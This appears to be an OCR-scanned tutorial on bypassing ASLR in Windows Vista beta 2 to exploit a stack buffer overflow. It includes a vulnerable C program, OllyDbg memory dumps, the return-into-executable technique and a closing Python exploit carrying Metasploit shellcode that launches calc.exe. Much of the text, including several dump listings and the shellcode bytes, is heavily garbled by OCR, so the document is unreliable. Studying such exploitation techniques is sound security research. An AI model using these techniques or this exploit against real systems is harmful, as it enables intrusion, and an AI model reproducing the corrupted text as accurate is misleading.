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In this article we will analyze the ASLR (AddrespaBe Layout Randomization) that has
been added to Windows Vista beta 2 and we willtsemigh an example how it is possible to
bypass the ASLR to exploit stack overflows on Wiwdo/ista.

Windows Vista’'s ASLR

One of the key Improvements of Windows Vista is #uglition of ASLR since the Beta 2.
Address space layout randomization is activateddéfault and is aimed to make buffer
overflow exploitation more difficult or impossible.

For example in a stack overflow we need to ovepnttiie return address with the address of
our buffer. If the stack is randomized, it mearst iks address will change and we would not
be able to predict its address to create a relekbéoit.

By default all EXEs and DLLs (kernel32.dll, ntdll.dnd user32.dll,...) shipped as part of the
operating system are randomized. For other EXH3Ldss a special flag should be set in the

PE header, otherwise only their heap and stackbeiltandomized. So even if the executable
is compiled without the randomization flag, its peand stack will be randomized.

It is important to know that DLLs marked for ramdi@ation will be randomized regardless of

whether other binaries in that process have optex-not.

On the Beta 2 of Vista the randomization is donéduits. Which means there will be 28 =
256 possible location for a given item (DLL, EXE). The first thing that comes to minds is
why Microsoft has used only 8 bits to randomizedlddress? With only 256 possibilities, in
some case it would be feasible to do a brute force.

Exploitation method

We will see through an example how it is possiblexploit programs that are not compiled
by the randomization flag on Windows Vista.

We will compile the following program without th&$ flag. /GS exploitation has been
covered separately by David Litchfield and MattIstiland is not the purpose of this article.

#i ncl ude "stdafx. h"
#i ncl ude <string. h>

voi d vul n(char * tenp);
int main(int argc, char* argv[])
i f(argc>1)
vul n(argv[1]);
return O;
}
voi d vul n(char *temp)

char buf[500];
strcpy(buf, temp);



First we lunch the program in Ollydbg to see itsmoey layout (View->Memory).

@ Mermory map =1 = | 2
Address |Size Own ex Sect ion |Contains Type| Access | Initial|Mapped as -
HEHE ] HEEE | HEE ] BEEE Map | Bl Rl

HHE3EAEE | HEEE3a8E Map R i

HHE4EEEE | HEEE]BEE Map |R R

HHEEEEEE | HEEEZa8E FPriv| Rl Ell

HE 1 FHEEE | DEEE2EEE Priv| Rl Ell

HEZ2FEEEE | DEEE1 886 Priv|BW Gual RW

HHZ2FEEEE | DEEEREEE stack of ma|Priv| Bl Gua] Bl

HE4EE868E | DEEE1886 | bufferl FE header Imag|R EUWE

HE4E] BEE | DEEE1886 | bufferl | . tent code Imag|R EWE

BE4028680 | BEEE1EEE | bufferl |.rdata imports Imag| R RUE

HE4E2EE8E | DEEE1 886 bufferl | .data data Imag|R EWE

BE404860 | BEEE1E888 | bufferl |.rsrc CESOUTCES Imag| R RUE

HHEHEEEE | HEEE4EE86 Priv| Rl Rl

BEFHEEEEH | BE37FaEa0 Map |R R =Oewice~HarddiskWVo lumel~Windo
T5338066 | DEEE]188E | mswcrt FE header Imag|R EWE

TEI21860| BEEICEHEE | mswort STErt code, import] Imag| R RWE

TEICOAEE | DEEEFEEE | mswcrt .data data Imag|R EWE

TEI0488E | BEEE 1886 | mswort CTELG CESOUTCES Imag| R RWE

TE305666 | DEEE4886 | msucrt reloc relocat ions| Imag| R EWE

YroEaaaa | DEEaEa1 8688 | ntdl L FE header Imag|R RUWE

rrodlBaaa) DBEEBFEaE | ntdl L . teHt code, edport Imag| B EWE

YreCHaaa | DBEEa1888 | ntdl L RT code Imag|R RUWE

rreclBaaa) oeaasaaa | ntdl L .data data Imag|R EWE

TrECABEE | BEEa43EE8 | ntdl L CTELG CESOUTCES Imag| R RWE

Trol26686) DBEEEEEAE | ntdl L reloc relocat ions| Imag| R EWE

Yro5EEa6E | DEEE188E | kerne L32 FE header Imag|R RUWE

Tro518686) DBECEEAE | kerne L32) . tent code, import Imag| R EWE

TrAZVEEE | BEEE3EEE | kerne L32| . data data Imag| R RWE

TrAZABEE | BEEE]1688E | kerne L32| . rsrc rESOMTGES Imag|R EWE

TrAZBEEE | BEEEAEEE | kerne 32| e loc relocat ions| Imag| R RUE

r21386860 | DEEE16886| MSUCRS8 FE header Imag|R EUWE

vE81316066| DBEE2AE6 | MSUCREA | . tent code Imag|R RUWE

721948680 BEEZEEDEE| MSUCE2E | .rdata imports,edp Imag| R RUE

Y21BFEEA| BEEFEEE| MSUCREA | .data data Imag|R RUWE

T21CEHE0| BaEaalaan MSUCRED | .rsro CESOUTCES Imag| R RUE

TE1CYEE0 | BaEadEEEa | MSUCREE | reloc relocat ions| Imag| R RUE

TFEFBEEE | HEEESEaEE Map R i

YFFEEBAA | HEE23886 Map |R F

TFFO2E86 | HEEE1 886 FPriv| Rl Ell

YFFOFBEA| HEEE1BaE data block « Friwv| Rl Rl

TFFEBBAE | HEEE1 886 Priv|R R -
IE Executable modules o (=] ES
Base Size Entry Hare File version Path -
BR4EEEEE | DOERSEED | 0B4E12A9 | bufferl C:~Users~test~Documents~-Uisual Studioc 28ES5-Pro
TEIZEEE0 | BEEAIEEE | FEIE3AF1IE| mevort T.B.5472.5 (winl CiWindows~swstem3z~mswcrt.dl L

Troeaaaa ool 1l aan ntdl L E.8.5472.5 (winl Ci~indows swstem3z~ntdll.dll

TrACEEEN | BEE0DSEEE | P98 rE| kernel32| 6.8.5472.5 (winl Ce~lindows~systen3z~kernel32.dL1

TE13860688 0OE9EEE0 Y2132322 MSUCRZE | 2.88.58727.97 C:dlindows WinSH5~HE86_microsoft.wedd. crt_1fcEb

The stack starts at 0x00276000. You can also seadbress of each of the DLLs that are
loaded by the program in View->Executable module.
Now we will restart Windows (to change the addm@sBLLS) and take another snapshot of
the memory layout of our program:



-

@ Memory map =N =

Address [Size O ex Section |Contains Tupe| Access | Initial]|MHapped as -

BEE 1 BEEE | BEE 18000 Map | Rl Fll

HHHSEEEE | BEEE30EE Map | R i

HEE4EEEE | BEEE 1 BEE Map | R R

HEHEFEEEE| BEEE30EE Friw| Bl Ell

HHHSEEEE | BEEE84HE0 Priw| Bl Ell

HEZCEEEE| BEEE 1 0EE Friw| Bl Gua] R

BEZCEEEE| BEEERBEE stack of mal|Priw| Bl Gual Rl

DESHEEEE | BEEE3000 Friw| Rl Ell

HE4EEEEE | BEEEA1 000 bufferl FE header Imag| R RUWE

BE4E1888| BEE018680 bufferl | .tedt code Imag| R RWE

BE4EZ2E8E | BEEa1888) bufferl | .rdata imports Imag| R RWE

BE4EIEEE | BEEEA1000H bufferl |.data data Imag| R RUWE

BE4E4E888 | BEEE1 880 bufferl | .rsro CESOUDCES Imag| R RWE

BiE4 16888 | Ba37Fa80 Map |R R “Oewice~HarddiskWVolumel~Windo

FEOFEE0E | BBEE ] BEAEA | mewcrt PE header Imag|R RUE

TEIV1E86| BEEICEEN | mswort hEHt code, import{ Imag| R RWE

TEADDEEE | BEE07TEEE | mswort .data data Imag| R RWE

TEAL14E86| BEE01 880 mswort ST CESOUDCES Imag| R RWE

TEA15EER | BEEE4EEE | mewort reloc relocations| Imag| R RUE

TS03EEEE | BEEA1EEE | kerne 132 FE header Imag| R RUWE

TEOZ1888| BBEC5EE0 kerne L32| . tent code, import{ Imag| R RWE

TEOF7EEE| BBBE3880 | kerne 132 .data data Imag| R RUWE

TEOFAEEE| B88a1 880 | kerne 132 Jrsrc CESOUDCES Imag| R RWE

TEOFEEEE| BEBEAEEE | kerne 32| . re loc relocat ions| Imag| R RWE

TEE4EEEE BEAA1EEE | ntdl L FE header Imag| R RUWE

TEE4 1 8EE | BEEEBFO00 | ntdl L . hent code, export{ Imag| R RUWE

TEFEEEEE | BEEA1EEE | ntdl L RT code Imag| R RUWE

TEFE1EEE | BEEAIEEE | ntdl L .data data Imag| R RUWE

TEFEAEEE| Baa428688 | ntdl Ll ST CESOUNDCES Imag| R RWE

TEFS2EEE | BAAASHEE | ntdl L reloc relocations| Imag| R RUWE

rE138888 | BEEE100E MSUCRSE FE header Imag| R RUWE

vE13168688 | BEA&3000H MSUCRSE |.text code Imag| R RUWE

TE194888 | BEEZE000| MSUCRSE |.rdata imports,enpl Imag| R RUWE

TE1BFEEE | BEEAFHEE MSUCRSE |.data data Imag| R RUWE

TE1CEEEE| BBBE1880) MSUCRSE | .rsro CESOUDCES Imag| R RWE

TEICYEEE| Baaad4a8a) MSUCREE | reloc relozat ions| Imag| R RWE

TFEFEEEE | BEEESHEHE Map R A

TFFEEEEE | BEEZ30E00 Map | R i

TFFOSEEE | 88881 0EE0 Friw| Bl Ell

TFFOFEEE | G333 1000 data block {Priv BN Rl

TFFEBEEE | BAEE1HEE Friu| R R -

s ]

@ Executable modules = || = || £8

Base Size Entiy Marme File wersion Fath -

BE4HREEE | BEEES8E0) BE4E12A9| bufferl CrUsers~testDocuments~Uisual Studio ZBES-FPro

TEIVEEEE| BEBA9EE8E | FEITYAFLE| mevort T.8.5472.5 (win| Gzl indows systen3z~mswort..dlL

TEOZEEEE| BaB05880) FEO5FFFE| kerne L1232 6.0.5472.5 (win) Cr~lindows~sustem3d2~kernel32.dl1

TEE4EEER | BE117HER ntdll 5.0.5472.5 (winl Cz~lindows~systena2~ntdll.dlL

TE138888 | BEAIED0N| YE8132329| MSUCRED | 8.868. 58727, 97 C:-lindows~WinSH5-+86_microsoft.wcBH. crt_1fc8b
s

In this snapshot the stack starts at 0x002C6008.atldress of the stack has changed. It's the
third byte of the address that is randomized. é&s gee in the two snapshots all the loaded
modules are randomized except the executable.iis&dfwill do a return into the executable
itself to redirect the execution to the buffer ba stack.

Set five A as arguments (Debug->Arguments) andaregDebug->Restart) the program.
Click on “View executable modules” from the View mg Right-click on bufferl and chose
View names. Right click on “MSVRC80.strcpy” in tlist, chose View call tree and put a
breakpoint on the only call to strcpy. Click on t69continue the execution. The program will
break on the call to strcpy.



OllyDbg - bufferl.exe - [CPU - main thread, module bufferl]

] File View Debug Plugins Options Window Help

By giving a long string to strcpy we will be able averwrite the return address of the vuln()
function. The RET at 0x0040174F is associated éoréturn address that we can overwrite.

__native_:

TFFOFBEE[FFF)

ERROR_SUCCESS (BBE0EE0E )
(MO, ME,ME,. A, N5, PE, GE, G)

dest = BAIAFCCH

""AAARA™

HiE g s =1l
%
IR NS FUSH EEF Registers (FFUI
aadalFal(] . BBEC MaL EEF,ESF B GEFESFSd FSCII "RRRRET
aadalFaz|| . 81EC Foeleses| SUE ESF, 1FS EC BEIAFCCE
aa4a1729|| . E4E B8 fOU ERX,OWORD PTR SS:[EBP+31 E0H ARERGEGE
aadalFac(| . Ga FUSH EAX e EE¥ HRARRRGE
a4l Fe0(| . 8DeD @SFEFFFF|LEA ECH,DWORD FTR S5z [EEF-1FS1 ESF BBLAFCES
aadalraz|] . 61 FUSH ECH dest EEF &B1AFEES
e I o R T it e 2 G
eEDEOH || o e MDD EsF SEF EDI @@4@2278 OFFSET bufferi.
aa4ai74E|]l . S0 FOF EEF EIF 88481744 bufferl.@8481744
aadalFaF(k. C3 RETH q

C @ EZ @823 22bit @(FFFFFFFF)
SSQS%;E? s EEEC ESEHEEEPESP F 1 CS @16 32bit @(FFFFFFFF)

. ' . A @ S5 @E23 22bit B(FFFFFFFF)

GE4A1FES| . 2370 88 @1 CHF OWORD PTR S5:[EEBF+21,1 & DS GmZS S5bit @IFFFEFEFE)
AA4A1 757 .~7E 13 JLE SHORT bufferl.@adalvac 5@ FS GRS Zebit
BE4EALFED| . BB4E BC MOL EAX, OWORD PTR S5: [EEF+C] TH G5 @oae HOLL
GEAALFEC| . SBd4E B4 MOL ECH,OWORD PTR DSz CEAX+d] D@
aa4aiFEF| . B1 FUSH ECH [nrgi 08 LastErr
BE4A176A| . ES CEFFFFFF |CALL bufferl.uuln ui n
BE4ELFEE 2acd B4 ADD ESF. 4 EFL GEEGEEZEHE
AE4E1FES F3CaE #OR EAX, EAX 5TE erpty @8
G401 7EA| ~EB @5 JHF SHORT bufferl.@@dei7vz w|3T1 empty o6
AR4A] FAC EB G2 JHP SHORT buffer], BA4a] 7o ETZ empty @.0
BE4A 1 BRB=buT ferl._stropy 5T2 emptu 6.8

5T4 empty B.8
bufferl.cpp:2@. stropy (buf , temp) = s empt% g'g
Address |Walue ASCI| Comment - B8 1AFCCE
BE4G3E7C| BEED0REE] . . . . EEEIREEE| e ene =
Ba4A3626| AEEEEEEE] . . . . 22URADEA | Ll

Put a breakpoint (F2) on it and execute the prodi@) Look at the stack and all registers.

OllyDbg - bufferLexe - [CPU - main thread, module bufferl]

"] File View Debug Plugins Options Window Help

FL

OFFSET bufferl._|

BE1AFCCE ASCIT "AAAAA™

nati

bufferl.8040174F

22bit
a2bit
a2bit
S2bit
S2bit
HULL

8(FFFFFFFF)
8 FFFFFFFF )
8 FFFFFFFF )
8L FFFFFFFF)
PFFOFEEE(FFF)

ERROF_SUCCESS ([ Q0BEEE
(MO, HE,HE, R, HS, FE, GE,

mmmmmm

]

As you can see the EAX register points to the b@gonof our buffer. EBP is pointing to 4
bytes after the return address on the stack. Arallyi the address of our string on the heap is

HSCII ""HHHAA™

Oy - 0 T, [ mm|
Bl x| wn| wi# ¥L W i LlE|MTw/H|c|/|K|B|R|...|5]| iZ/H]?]
BEAB1r | [ & 55 FUSH EEF
meamirzt|| . 8BEC MOU EBF, ESP G |
eEani7zz|| - S1EC Feeloees| SUB ESP, 1FS ERX LSl
AE4a1755|| . BE4E BE Aoy ERX.DWORD PTR S5t [EBF+E1 =
aE4airac|| . 58 FUSH _ERH sre 2L B
oo4a1720(| . S0ED0 @SFEFFFF|LEA ECH,DWORD PTR S5:[EBF-1FSI e
aadairaz(| . 51 FUSH ECH dest = e
R . EEEE?EEFFFF EEELEEEFEETII_EJ;TCDH _strcpy ESI G08REEE1
sadaizac|| L SBES ML EF,EBF SO EEE
cedoizdel] L e FOF EGP EIF B@48174F
BE4E1 750 § 55 PUSH_EEF ER
BE4E1751| . BEEC MOl EEF, ESF ElotDoniE
AE4R17EE| . 857D BE 81 | CHP DWORD FTR SS5: [EBF+81, 1 lp sR e
AB4E1PET| .vFE 13 JLE SHORT bufferi.BEdairec T
AE4G1755| . BE4E BC MOV EAX. DWORD FTR 53: [EBF+CI 0B R e
AE4G17EC| . BE4E 04 MO ECH.DWORD PTR DSt CEAX+4] uE
BE48175F| . E1 FUSH ECH [Frat ol R
65461766 . ES CBFFFFFF | CALL bufferl.vwln waln
BE4G1FEE| . S204 B4 AOC ESF, 4 EFL BEGEEZ16
BE4E17EE| . 3208 2OR EAX, EAX ) o
BE461760| .vEB B6 JHF SHORT bufferl.@@4@17re _ By
fEaniFEr] SER B2 JHF SHORT buffer]l.oednlrre S e g
Retnrn to DBAEIrEE (DuFFerl.OBdel s 275 emora B

ST4 emptyw A.
bufferl.cppz2l. F Bl emut% E
Address [UValue AsSCI| Comment EEME3= Sgggé;gi
s e [ oo BE1AFECH| rGB1AFFES

‘RETURN to buffe

stored just after the return address on the stgkf we find a JIMP EAX, a CALL EAX or

PUSH EAX, RET in the program (which is not randoeaizwe can use its address as a return
address to redirect the execution to it and after @xecuted the execution will be redirected

to our buffer. So we have redirected the executoour buffer without knowing its address.

Another way is to place for example a JMP — 10Q0 foytes after the return address and find
a JMP EBP or CALL EBP or something that redirebts éxecution to EBP in the executable
(bufferl) and use it as return address. By this tiney execution will be redirected to the

buffer without the knowledge of its address.



If you look at the stack, the address of the stongthe heap is stored just after the return
address. So by using the address of a RET in theugable (bufferl) as the return address we
will be able to redirect execution to our stringtbe heap.

We will use the latest method to exploit this stamkerflow. | have used a RET at
0x00401773 in bufferl. The shellcode for this exdias been generated by Metasploit and it
simply executes calc.exe.

import 0s

import sys

program ='bufferl.exe’
arguments=".join([

"Xx2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x 74\x24\xf4\x581x 73\x13\x5d",
"X6d\xbe\x37\x83\xeb\xfc\xe2\xf4\xal\x85\xfa\x3BRx6d\x35\x 72",
"X61\xe6\xc2\x32\x25\x6¢\x51\xbc\x12\x 75\x35\x 6B X 6c\x55\x 7€',
"Xd6\x59\x35\x36\xb3\x5c\x 7e\xae\xf1\xe9\x 7e\x43kxac\x74\x3a’,
"X5¢c\xafix55\xc3\x66\x39\x9a\x33\x28\x88\x35\x68Bix6c\x55\x51 ",
"Xd6\x61\xf5\xbc\x02\x 7 1\xbf\ixdc\xd6\x 7 1\x35\x 3®&\xe4\xe2\x 13",
"x59\xae\x8f\xf7\x39\xe6\xfe\x07\xd8\xad\xc6\x3dBAx2d\xb2\xbc',
"X 2d\x71\x13\xbc\x35\x65\x55\x3e\xd6\xed\x0e\x Bt 6 d\x 35\x 51",
"X61\x32\x8f\xc1\x3d\x3b\x37\xcfixde\xad\xc5\x6 B&x 13\x66\xd5',
"Xx2e\x05\x26\xc9\xd7\x63\xe9\xc8\xba\x0e\xdf\x 5Bé¥x4 3\xdb\x4f',
"Xx38\x6d\xbe\x37'+344*\x90'+'\x73'+'\x17'+"\x4D']
os.execl(program,program,arguments)
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